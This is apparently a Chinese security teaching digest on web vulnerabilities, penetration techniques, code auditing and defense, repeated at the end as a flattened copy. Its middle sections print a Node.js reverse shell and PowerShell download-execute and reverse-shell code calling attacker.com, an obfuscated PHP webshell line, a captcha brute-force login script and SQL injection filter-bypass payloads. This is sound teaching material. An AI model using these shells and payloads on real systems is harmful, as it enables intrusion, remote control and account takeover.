专注Web及移动安全[红日安全92期]
字数 2494 2025-08-18 11:38:48

Web及移动安全综合教学文档

一、漏洞分析与利用

1.1 Discuz ML! V3.X 代码注入漏洞

  • 漏洞原理:Discuz ML多语言版本存在前台代码注入漏洞
  • 利用条件:未授权访问或低权限用户
  • 攻击向量:通过构造特定HTTP请求注入恶意代码
  • 影响范围:Discuz ML V3.X全系列版本
  • 修复方案:升级至最新安全版本或应用官方补丁

1.2 Fastjson反序列化漏洞

  • 漏洞类型:远程代码执行(RCE)
  • 触发条件:服务端使用Fastjson处理不可信JSON数据
  • 利用方式
    • 构造恶意JSON数据利用JNDI注入
    • 利用autoType特性绕过限制
  • 防护措施
    • 升级至Fastjson 1.2.58+版本
    • 关闭autoType功能
    • 使用白名单机制校验反序列化类

1.3 Redis 4.x/5.x RCE漏洞

  • 漏洞成因:未授权访问结合主从复制机制
  • 利用步骤
    1. 确认Redis未授权访问
    2. 设置恶意模块为master
    3. 通过module load加载恶意.so文件
  • 防御方案
    • 配置Redis密码认证
    • 限制绑定IP(127.0.0.1)
    • 禁用危险命令(FLUSHALL, CONFIG等)

1.4 Windows DHCP服务器漏洞(CVE-2019-0785)

  • 漏洞类型:远程代码执行
  • 影响组件:Windows DHCP服务器服务
  • 攻击场景:局域网内攻击者发送特制DHCP报文
  • 缓解措施:安装微软2019年7月安全更新

二、Web安全攻防技术

2.1 Webshell变形技术

  • 常见变形方式
    • 字符串拼接:$_="as"."sert";$_($_POST[x]);
    • 编码混淆:base64、hex、rot13等
    • 回调函数:call_user_func_array()
    • 动态函数:$f = "create_function";
  • 检测方法
    • 静态特征分析
    • 动态行为监控
    • 熵值检测异常代码

2.2 Apache解析漏洞

  • 利用方式
    • 上传test.php.xxx文件
    • Apache从右向左解析,可能解析为PHP
  • 防御措施
    • 修改httpd.conf:RemoveHandler .php .php3 .php4 .php5 .phtml .phps
    • 严格限制上传文件类型

2.3 验证码爆破技术

  • 攻击方法
    • 识别验证码生成规律
    • 使用OCR识别简单验证码
    • 绕过前端验证机制
  • Python实现
    import requests
    from PIL import Image
    import pytesseract
    
    session = requests.Session()
    captcha_url = "http://target.com/captcha.php"
    login_url = "http://target.com/login.php"
    
    for i in range(1000):
        # 获取验证码
        resp = session.get(captcha_url)
        with open('captcha.png', 'wb') as f:
            f.write(resp.content)
    
        # OCR识别
        image = Image.open('captcha.png')
        captcha = pytesseract.image_to_string(image)
    
        # 爆破尝试
        data = {'username': 'admin', 'password': '123456', 'captcha': captcha}
        resp = session.post(login_url, data=data)
        if "Login success" in resp.text:
            print("Success! Captcha:", captcha)
            break
    

2.4 SQL注入高级技巧

  • Order-by注入
    • 利用方式:order=(case when (条件) then 1 else 2 end)
    • 盲注技巧:通过排序差异判断条件真假
  • WAF绕过技术
    • 注释分割:SEL/*xxx*/ECT
    • 等价函数替换:mid()→substr()
    • 编码混淆:十六进制、URL编码
    • 空白符变异:SEL%0bECT

三、渗透测试实战

3.1 Node.js反向Shell

  • 攻击代码
    const net = require('net');
    const client = new net.Socket();
    client.connect(4444, 'attacker.com', () => {
      process.stdin.pipe(client);
      client.pipe(process.stdout);
    });
    
  • 防御措施
    • 禁用危险模块(child_process, net等)
    • 使用沙箱运行不可信代码

3.2 Powershell攻击

  • 常用命令
    # 下载执行
    IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')
    
    # 反弹Shell
    $client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);
    $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
      $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
      $sendback = (iex $data 2>&1 | Out-String);
      $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
      $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
      $stream.Write($sendbyte,0,$sendbyte.Length);
      $stream.Flush();
    }
    $client.Close();
    
  • 防护方案
    • 启用PowerShell日志记录
    • 限制脚本执行策略
    • 监控可疑PowerShell活动

3.3 内网渗透测试框架

  • BeEF-XSS + Ngrok组合
    1. 配置BeEF钩子脚本
    2. 通过XSS注入钩子
    3. 使用Ngrok穿透内网
    4. 利用浏览器作为跳板扫描内网
  • 检测方法
    • 监控异常出站连接
    • 分析浏览器扩展行为

四、代码审计技术

4.1 CMS审计流程

  1. 信息收集
    • 确定CMS版本和组件
    • 分析文件结构和路由机制
  2. 入口点定位
    • 用户输入点(\(_GET/\)_POST/$_COOKIE)
    • 文件上传功能
    • 数据库操作接口
  3. 漏洞挖掘
    • 跟踪数据流分析过滤情况
    • 检查危险函数调用
    • 验证权限控制机制

4.2 文件操作类漏洞

  • 常见漏洞类型
    • 任意文件读取:file_get_contents($user_input)
    • 目录穿越:include('../config.php')
    • 文件删除:unlink()未校验权限
  • 审计要点
    • 检查所有文件操作函数
    • 验证路径规范化处理
    • 确认权限校验完整性

4.3 PHP代码审计技巧

  • XSS漏洞挖掘
    • 查找未过滤的echo/print输出
    • 检查Content-Type是否设置为text/html
    • 验证输出编码处理
  • CSRF防护检查
    • 确认关键操作使用token验证
    • 检查Referer验证实现
    • 验证SameSite Cookie设置

五、防御体系建设

5.1 WAF绕过防护

  • 多层防御策略
    1. 网络层:流量清洗,异常检测
    2. 应用层:输入验证,输出编码
    3. 数据层:参数化查询,ORM使用
  • 规则配置建议
    • 启用语义分析而不仅是模式匹配
    • 设置学习模式建立正常行为基线
    • 实施速率限制防爆破

5.2 日志分析技术

  • 关键日志源
    • Web访问日志
    • 系统安全日志
    • 数据库审计日志
    • 应用操作日志
  • 分析方法
    • 关联分析多源日志
    • 建立异常行为模型
    • 使用SIEM集中管理

5.3 安全开发实践

  • SDL关键点
    • 威胁建模
    • 安全编码规范
    • 自动化安全测试
    • 第三方组件管理
  • 工具链整合
    • SAST工具:SonarQube, Checkmarx
    • DAST工具:OWASP ZAP, Burp Suite
    • SCA工具:Dependency-Check, Snyk

六、新兴安全领域

6.1 智慧城市安全

  • 风险点
    • IoT设备弱口令
    • 传感器数据篡改
    • 集中控制系统单点故障
  • 防护框架
    • 分层防御架构
    • 轻量级加密协议
    • 异常行为检测

6.2 大数据安全

  • 关键技术
    • 数据脱敏
    • 细粒度访问控制
    • 分布式日志审计
    • 加密搜索
  • 隐私保护
    • 差分隐私
    • K-匿名
    • 同态加密

本教学文档涵盖了Web及移动安全的核心知识点,从漏洞原理到实战技术,从攻击方法到防御体系,构建了完整的安全知识框架。建议学习者结合实际环境进行实验验证,并持续关注安全社区的最新动态以获取更新。

Web及移动安全综合教学文档 一、漏洞分析与利用 1.1 Discuz ML ! V3.X 代码注入漏洞 漏洞原理 :Discuz ML多语言版本存在前台代码注入漏洞 利用条件 :未授权访问或低权限用户 攻击向量 :通过构造特定HTTP请求注入恶意代码 影响范围 :Discuz ML V3.X全系列版本 修复方案 :升级至最新安全版本或应用官方补丁 1.2 Fastjson反序列化漏洞 漏洞类型 :远程代码执行(RCE) 触发条件 :服务端使用Fastjson处理不可信JSON数据 利用方式 : 构造恶意JSON数据利用JNDI注入 利用autoType特性绕过限制 防护措施 : 升级至Fastjson 1.2.58+版本 关闭autoType功能 使用白名单机制校验反序列化类 1.3 Redis 4.x/5.x RCE漏洞 漏洞成因 :未授权访问结合主从复制机制 利用步骤 : 确认Redis未授权访问 设置恶意模块为master 通过module load加载恶意.so文件 防御方案 : 配置Redis密码认证 限制绑定IP(127.0.0.1) 禁用危险命令(FLUSHALL, CONFIG等) 1.4 Windows DHCP服务器漏洞(CVE-2019-0785) 漏洞类型 :远程代码执行 影响组件 :Windows DHCP服务器服务 攻击场景 :局域网内攻击者发送特制DHCP报文 缓解措施 :安装微软2019年7月安全更新 二、Web安全攻防技术 2.1 Webshell变形技术 常见变形方式 : 字符串拼接: $_="as"."sert";$_($_POST[x]); 编码混淆:base64、hex、rot13等 回调函数: call_user_func_array() 动态函数: $f = "create_function"; 检测方法 : 静态特征分析 动态行为监控 熵值检测异常代码 2.2 Apache解析漏洞 利用方式 : 上传 test.php.xxx 文件 Apache从右向左解析,可能解析为PHP 防御措施 : 修改httpd.conf: RemoveHandler .php .php3 .php4 .php5 .phtml .phps 严格限制上传文件类型 2.3 验证码爆破技术 攻击方法 : 识别验证码生成规律 使用OCR识别简单验证码 绕过前端验证机制 Python实现 : 2.4 SQL注入高级技巧 Order-by注入 : 利用方式: order=(case when (条件) then 1 else 2 end) 盲注技巧:通过排序差异判断条件真假 WAF绕过技术 : 注释分割: SEL/*xxx*/ECT 等价函数替换: mid()→substr() 编码混淆:十六进制、URL编码 空白符变异: SEL%0bECT 三、渗透测试实战 3.1 Node.js反向Shell 攻击代码 : 防御措施 : 禁用危险模块(child_ process, net等) 使用沙箱运行不可信代码 3.2 Powershell攻击 常用命令 : 防护方案 : 启用PowerShell日志记录 限制脚本执行策略 监控可疑PowerShell活动 3.3 内网渗透测试框架 BeEF-XSS + Ngrok组合 : 配置BeEF钩子脚本 通过XSS注入钩子 使用Ngrok穿透内网 利用浏览器作为跳板扫描内网 检测方法 : 监控异常出站连接 分析浏览器扩展行为 四、代码审计技术 4.1 CMS审计流程 信息收集 : 确定CMS版本和组件 分析文件结构和路由机制 入口点定位 : 用户输入点($_ GET/$_ POST/$_ COOKIE) 文件上传功能 数据库操作接口 漏洞挖掘 : 跟踪数据流分析过滤情况 检查危险函数调用 验证权限控制机制 4.2 文件操作类漏洞 常见漏洞类型 : 任意文件读取: file_get_contents($user_input) 目录穿越: include('../config.php') 文件删除: unlink() 未校验权限 审计要点 : 检查所有文件操作函数 验证路径规范化处理 确认权限校验完整性 4.3 PHP代码审计技巧 XSS漏洞挖掘 : 查找未过滤的echo/print输出 检查Content-Type是否设置为text/html 验证输出编码处理 CSRF防护检查 : 确认关键操作使用token验证 检查Referer验证实现 验证SameSite Cookie设置 五、防御体系建设 5.1 WAF绕过防护 多层防御策略 : 网络层:流量清洗,异常检测 应用层:输入验证,输出编码 数据层:参数化查询,ORM使用 规则配置建议 : 启用语义分析而不仅是模式匹配 设置学习模式建立正常行为基线 实施速率限制防爆破 5.2 日志分析技术 关键日志源 : Web访问日志 系统安全日志 数据库审计日志 应用操作日志 分析方法 : 关联分析多源日志 建立异常行为模型 使用SIEM集中管理 5.3 安全开发实践 SDL关键点 : 威胁建模 安全编码规范 自动化安全测试 第三方组件管理 工具链整合 : SAST工具:SonarQube, Checkmarx DAST工具:OWASP ZAP, Burp Suite SCA工具:Dependency-Check, Snyk 六、新兴安全领域 6.1 智慧城市安全 风险点 : IoT设备弱口令 传感器数据篡改 集中控制系统单点故障 防护框架 : 分层防御架构 轻量级加密协议 异常行为检测 6.2 大数据安全 关键技术 : 数据脱敏 细粒度访问控制 分布式日志审计 加密搜索 隐私保护 : 差分隐私 K-匿名 同态加密 本教学文档涵盖了Web及移动安全的核心知识点,从漏洞原理到实战技术,从攻击方法到防御体系,构建了完整的安全知识框架。建议学习者结合实际环境进行实验验证,并持续关注安全社区的最新动态以获取更新。